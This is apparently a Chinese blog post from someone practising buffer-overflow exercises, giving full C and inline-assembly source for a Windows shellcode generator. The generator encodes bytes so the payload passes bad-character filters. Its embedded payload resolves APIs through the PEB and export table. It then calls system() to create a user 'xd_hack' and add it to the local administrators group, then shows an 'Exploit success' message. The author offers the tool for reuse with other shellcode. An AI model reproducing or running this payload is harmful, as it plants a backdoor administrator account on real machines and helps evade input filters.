最近做关于溢出的题目
有的题目,生成的shellcode由于含有特殊字符,不方便让程序读取
于是将之前生成shellcode的加密解密部分稍微修改了一下
思路大概如此,以后需要用到什么样的shellcode自己修改加密解密程序生成就是了
1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 #include <windows.h> 5 6 //#define Debug 1; 7 8 #define Legal_Begin 0x20 //从0x20开始的可以打印 9 //其中Legal_Begin用作特殊标记 10 #define Legal_End 0x7E //到0x7E结束 11 12 #define Enc_key 0x7A //编码密钥 13 #define FLAG_AVOID 0x30 //需要回避的字符的标记 14 15 #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\ 16 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 17 #define PROC_END PROC_BEGIN 18 #define BEGINSTRLEN 0x08 //开始字符串长度 19 #define ENDSTRLEN 0x08 //结束标记字符的长度 20 #define nop_CODE 0x90 //填充字符 21 22 #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够? 23 #define MAX_Sh_Len 0x2000 //hellCode的最大长度 8192足够? 24 25 #define MY_SUCCEED 0 26 #define MY_NO_BEGIN 1 27 #define MY_NO_END 2 28 #define MY_MALLOC_ERR 3 29 30 #define MY_AVOID 0 31 #define MY_NO_AVOID 1 32 33 void Dcrypt(void); 34 void Shellcode(void); 35 36 //将函数func的代码放到buffer指向的内存中 37 //其中buffer指向的内存是动态分配的 38 //func_len指向buffer的长度 39 int get_func_code(char** buffer,//存放func的代码 40 char* fun, //函数首地址 41 int* func_len //指向buffer长度 42 ); 43 44 //打印对应的错误信息 45 void print_iRet(int iRet, char* func_name); 46 47 int is_legal(char ch);//判断一个字符是否要回避 48 49 int Encrypt_Shell(char** buffer,//存放加密过后的字节码 50 char* fun, //原Shellcode的字节码 51 int old_len,//原Shellcode的长度 52 int* new_len //加密后字节码的长度 53 ); 54 void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 55 56 int main(int argc, char* argv[]) 57 { 58 //取得加密函数字节码 59 int Dcrypt_len = 0; 60 char* Dcrypt_buffer = NULL; 61 int iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len); 62 print_iRet(iRet, "Dcrypt字节码"); 63 64 //取得Shellcode字节码 65 int Shell_len = 0; 66 char* Shell_buffer = NULL; 67 iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len); 68 print_iRet(iRet, "Shellcode原始字节码"); 69 70 //将Shellcode字节码加密 71 char* Shell_Encrypt_buffer = NULL; 72 int Shell_Encrypt_len = 0; 73 iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len); 74 print_iRet(iRet, "Shellcode加密后的字节码"); 75 76 //打印整体Shellcode的字节码 77 char* print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len); 78 memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len); 79 free(Dcrypt_buffer); 80 memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len); 81 free(Shell_buffer); 82 free(Shell_Encrypt_buffer); 83 my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len); 84 free(print_buffer); 85 return 0; 86 } 87 88 void Dcrypt(void) 89 { 90 PROC_BEGIN 91 __asm 92 { 93 pushad 94 jmp next 95 getEncCodeAddr: 96 pop edi 97 push edi 98 pop esi 99 xor ecx,ecx 100 Decrypt_lop: 101 lodsb 102 cmp al,cl 103 jz save 104 cmp al,Legal_Begin //判断是否为特殊字符 105 jz special_char_clean 106 store: 107 stosb 108 jmp Decrypt_lop 109 special_char_clean: //这里要特殊注意一下,看指令里会不会包含特殊字符 110 lodsb 111 and al,0x0f; 112 shl al,0x4; 113 mov bl,al; 114 lodsb 115 and al,0x0f; 116 add al,bl; 117 jmp store 118 save: 119 popad 120 jmp shell 121 next: 122 call getEncCodeAddr 123 shell: 124 //其余真正加密的shellcode代码会连接在此处 125 } 126 PROC_END 127 } 128 129 void Shellcode(void) 130 { 131 PROC_BEGIN 132 #ifdef Debug 133 __asm _emit 0x1 134 __asm _emit 0x2 135 #endif 136 137 #ifndef Debug 138 139 void* hkernerl32 = NULL; 140 void* huser32 = NULL; 141 void* hmsvcrt = NULL; 142 143 void* pGetProcAddress = NULL; 144 void* pLoadLibrary = NULL; 145 void* pExitProcess = NULL; 146 void* pMessageBoxA = NULL; 147 void* psystem = NULL; 148 149 //LoadLibrary("kernel32"); 150 _asm 151 { 152 //保存寄存器 153 pushad; 154 155 //获得kernerl32基地址 156 mov eax, fs:0x30 ;PEB的地址 157 mov eax, [eax + 0x0c] ;Ldr的地址 158 mov esi, [eax + 0x1c] ;Flink地址 159 lodsd 160 mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址 161 mov hkernerl32,eax; 162 163 //获得GetProcAddress地址 164 push ebp; 165 mov ebp, hkernerl32 ;kernel32.dll 基址 166 mov eax, [ebp+3Ch] ;eax = PE首部 167 mov edx,[ebp+eax+78h] 168 add edx,ebp ;edx = 引出表地址 169 mov ecx , [edx+18h] ;ecx = 输出函数的个数 170 mov ebx,[edx+20h] 171 add ebx, ebp ;ebx =函数名地址,AddressOfName 172 search: 173 dec ecx 174 mov esi,[ebx+ecx*4] 175 add esi,ebp ;依次找每个函数名称 176 ;GetProcAddress 177 mov eax,0x50746547 178 cmp [esi], eax; 'PteG' 179 jne search 180 mov eax,0x41636f72 181 cmp [esi+4],eax; 'Acor' 182 jne search 183 ;如果是GetProcA,表示找到了 184 mov ebx,[edx+24h] 185 add ebx,ebp ;ebx = 序号数组地址,AddressOf 186 mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值 187 mov ebx,[edx+1Ch] 188 add ebx,ebp ;ebx=函数地址的起始位置,AddressOfFunction 189 mov eax,[ebx+ecx*4] 190 add eax,ebp ;利用序号值,得到出GetProcAddress的地址 191 pop ebp; 192 mov pGetProcAddress,eax; 193 194 //获得LoadLibraryA地址 195 //push strLoadLibrary;"LoadLibraryA" 196 call _getLoadLib 197 _emit 0x4C 198 _emit 0x6F 199 _emit 0x61 200 _emit 0x64 201 _emit 0x4C 202 _emit 0x69 203 _emit 0x62 204 _emit 0x72 205 _emit 0x61 206 _emit 0x72 207 _emit 0x79 208 _emit 0x41 209 _emit 0x0 210 //db "LoadLibraryA",0 211 _getLoadLib: 212 push hkernerl32; 213 mov eax,pGetProcAddress; 214 call eax; GetProcAddress 215 mov pLoadLibrary,eax; 216 pop eax; 217 pop eax; 平衡堆栈 218 219 //下面是自己的实验 220 //LoadLibraryA("msvcrt.dll") 221 //push strmsvcrt 222 call _getmsvcrt 223 _emit 'm' 224 _emit 's' 225 _emit 'v' 226 _emit 'c' 227 _emit 'r' 228 _emit 't' 229 _emit '.' 230 _emit 'd' 231 _emit 'l' 232 _emit 'l' 233 _emit '\0' 234 _getmsvcrt: 235 mov eax,pLoadLibrary; 236 call eax; 237 mov hmsvcrt, eax; 238 pop eax; 239 240 //push strsystem 241 call _getsystem 242 _emit 's' 243 _emit 'y' 244 _emit 's' 245 _emit 't' 246 _emit 'e' 247 _emit 'm' 248 _emit '\0' 249 _getsystem: 250 push hmsvcrt; 251 mov eax,pGetProcAddress; 252 call eax; 253 mov psystem,eax; 254 pop eax; 255 pop eax; 平衡堆栈 256 257 call _get_add_user 258 _emit 'n' 259 _emit 'e' 260 _emit 't' 261 _emit ' ' 262 _emit 'u' 263 _emit 's' 264 _emit 'e' 265 _emit 'r' 266 _emit ' ' 267 _emit 'x' 268 _emit 'd' 269 _emit '_' 270 _emit 'h' 271 _emit 'a' 272 _emit 'c' 273 _emit 'k' 274 _emit ' ' 275 _emit 's' 276 _emit 'u' 277 _emit 'c' 278 _emit 'c' 279 _emit 'e' 280 _emit 's' 281 _emit 's' 282 _emit ' ' 283 _emit '/' 284 _emit 'a' 285 _emit 'd' 286 _emit 'd' 287 _emit '\0' 288 _get_add_user: 289 mov eax,psystem; 290 call eax; 291 pop eax; 292 call _get_adm_group 293 _emit 'n' 294 _emit 'e' 295 _emit 't' 296 _emit ' ' 297 _emit 'l' 298 _emit 'o' 299 _emit 'c' 300 _emit 'a' 301 _emit 'l' 302 _emit 'g' 303 _emit 'r' 304 _emit 'o' 305 _emit 'u' 306 _emit 'p' 307 _emit ' ' 308 _emit 'a' 309 _emit 'd' 310 _emit 'm' 311 _emit 'i' 312 _emit 'n' 313 _emit 'i' 314 _emit 's' 315 _emit 't' 316 _emit 'r' 317 _emit 'a' 318 _emit 't' 319 _emit 'o' 320 _emit 'r' 321 _emit 's' 322 _emit ' ' 323 _emit 'x' 324 _emit 'd' 325 _emit '_' 326 _emit 'h' 327 _emit 'a' 328 _emit 'c' 329 _emit 'k' 330 _emit ' ' 331 _emit '/' 332 _emit 'a' 333 _emit 'd' 334 _emit 'd' 335 _emit '\0' 336 _get_adm_group: 337 mov eax,psystem; 338 call eax; 339 pop eax; 340 341 call _getExitProcess 342 _emit 'E' 343 _emit 'x' 344 _emit 'i' 345 _emit 't' 346 _emit 'P' 347 _emit 'r' 348 _emit 'o' 349 _emit 'c' 350 _emit 'e' 351 _emit 's' 352 _emit 's' 353 _emit '\0' 354 _getExitProcess: 355 push hkernerl32; 356 mov eax,pGetProcAddress; 357 call eax; GetProcAddress 358 mov pExitProcess,eax; 359 pop eax; 360 pop eax; 平衡堆栈 361 362 //MessageBoxA(NULL, "你被溢出了!", "xiaoma", MB_OK) 363 //push struser32; 364 call _getUser 365 _emit 0x75 366 _emit 0x73 367 _emit 0x65 368 _emit 0x72 369 _emit 0x33 370 _emit 0x32 371 _emit 0x2E 372 _emit 0x64 373 _emit 0x6C 374 _emit 0x6C 375 _emit 0x0 376 _getUser: 377 mov eax,pLoadLibrary; 378 call eax; 379 mov huser32,eax; 380 pop eax; 381 382 //push strMessageBoxA;"MessageBoxA" 383 call _getMessage 384 _emit 0x4D 385 _emit 0x65 386 _emit 0x73 387 _emit 0x73 388 _emit 0x61 389 _emit 0x67 390 _emit 0x65 391 _emit 0x42 392 _emit 0x6F 393 _emit 0x78 394 _emit 0x41 395 _emit 0x0 396 _getMessage: 397 push huser32; 398 mov eax,pGetProcAddress; 399 call eax; GetProcAddress 400 mov pMessageBoxA,eax; 401 pop eax; 402 pop eax; 平衡堆栈 403 404 call _getCaption 405 _emit 'O' 406 _emit 'v' 407 _emit 'e' 408 _emit 'r' 409 _emit 'f' 410 _emit 'l' 411 _emit 'o' 412 _emit 'w' 413 _emit '\0' 414 _getCaption: 415 pop edi; 416 call _getText 417 _emit 'E' 418 _emit 'x' 419 _emit 'p' 420 _emit 'l' 421 _emit 'o' 422 _emit 'i' 423 _emit 't' 424 _emit ' ' 425 _emit 's' 426 _emit 'u' 427 _emit 'c' 428 _emit 'e' 429 _emit 's' 430 _emit 's' 431 _emit '\0' 432 _getText: 433 pop esi; 434 push MB_OK; 435 push edi; 436 push esi; 437 push 0h; 438 mov eax,pMessageBoxA; 439 call eax; 440 pop eax; 441 pop eax; 442 pop eax; 443 pop eax; 444 445 push 0x0; 446 mov eax,pExitProcess; 447 call eax; 448 pop eax; 449 450 //恢复寄存器 451 popad; 452 } 453 #endif 454 PROC_END 455 } 456 457 int Encrypt_Shell(char** buffer, char* fun, int old_len, int* new_len) 458 { 459 *buffer = (char*)malloc(3 * old_len); 460 if (*buffer == NULL) 461 { 462 return MY_MALLOC_ERR; 463 } 464 int i = 0, k = 0; 465 char ch = 0; 466 for (i = 0; i < old_len; i++) 467 { 468 ch = (*(fun + i)); 469 if ( is_legal(ch) == MY_AVOID )//如果某个字符需要回避 470 { 471 *(*buffer + k) = Legal_Begin; 472 k++; 473 *(*buffer + k) = 0x40 + (((unsigned char)(ch&0xf0)) >> 4); 474 k++; 475 *(*buffer + k) = 0x40 + (ch&0x0f); 476 k++; 477 } 478 else 479 { 480 *(*buffer + k) = ch; 481 k++; 482 } 483 } 484 *new_len = k; 485 return(MY_SUCCEED); 486 } 487 488 int get_func_code(char** buffer, char* fun, int* func_len) 489 { 490 //返回码: 491 int i = 0; 492 char* func_begin = fun; 493 char* func_end = NULL; 494 char* fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记开始的字符串 495 char* fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记结束的字符串 496 497 //处理DEBUG版本里面的跳转表 498 /*char ch = *func_begin; 499 char temp = 0xE9;*/ 500 if (*func_begin == (char)0xE9) 501 { 502 func_begin++; 503 i = *(int*)func_begin; 504 func_begin += (i+4); 505 } 506 507 //通过寻找开始的标记 508 //找到解码部分的开头地址 509 for (i = 0; i < MAX_Enc_Len; i++) 510 { 511 if (memcmp(func_begin+i, fnbgn_str, BEGINSTRLEN) == 0) 512 { 513 break; 514 } 515 } 516 if (i < MAX_Enc_Len) 517 { 518 func_begin += (i + BEGINSTRLEN);//定位到开始部分的代码 519 } 520 else 521 { 522 return MY_NO_BEGIN; //没找到开始的标记 523 } 524 525 //通过寻找结尾的标记 526 //找到解码部分的结束地址 527 i = 0; 528 for (func_end = func_begin; i < MAX_Enc_Len; i++) 529 { 530 if (memcmp(func_end+i, fnend_str, ENDSTRLEN) == 0) 531 { 532 break; 533 } 534 } 535 if (i < MAX_Enc_Len) 536 { 537 func_end += i;//定位到结尾处的代码 538 } 539 else 540 { 541 return MY_NO_END;//没找到结尾的标记 542 } 543 544 *func_len = func_end - func_begin;//解码部分代码长度 545 546 *buffer = (char*)malloc(*func_len);//分配地址储存解码的代码 547 if (*buffer == NULL) 548 { 549 return MY_MALLOC_ERR; 550 } 551 memcpy(*buffer, func_begin, *func_len); 552 553 return MY_SUCCEED; 554 } 555 556 void print_iRet(int iRet, char* func_name) 557 { 558 switch (iRet) 559 { 560 case MY_SUCCEED: 561 printf("获取%s成功!\n",func_name); 562 break; 563 case MY_NO_BEGIN: 564 printf("无法找到%s的头部标记!\n程序退出\n",func_name); 565 exit(1); 566 break;//不会执行到 567 case MY_NO_END: 568 printf("无法找到%s的尾部标记!\n程序退出\n",func_name); 569 exit(1); 570 break;//不会执行到 571 case MY_MALLOC_ERR: 572 printf("在获取%s字节码的时候分配内存错误!\n程序退出\n",func_name); 573 exit(1); 574 break; 575 default: 576 puts("未知的返回码!\n程序退出\n"); 577 exit(1); 578 break; 579 } 580 } 581 582 int is_legal(char ch) 583 { 584 585 if (ch < Legal_Begin+1 || ch > Legal_End) 586 { 587 return MY_AVOID;//需要替换 588 } 589 return MY_NO_AVOID; //不需要替换 590 } 591 592 void my_print_Shellcode(char* Shellcode, int len) 593 { 594 int i = 0, k = 0; 595 for (i = 0; i < len; i++) 596 { 597 if (k == 0) 598 { 599 putchar('"'); 600 } 601 printf("\\x%.2X", (unsigned char)Shellcode[i]); 602 k++; 603 if (k == 16) 604 { 605 putchar('"'); 606 putchar('\n'); 607 k = 0; 608 } 609 } 610 if (k != 16) 611 { 612 puts("\"\n"); 613 } 614 }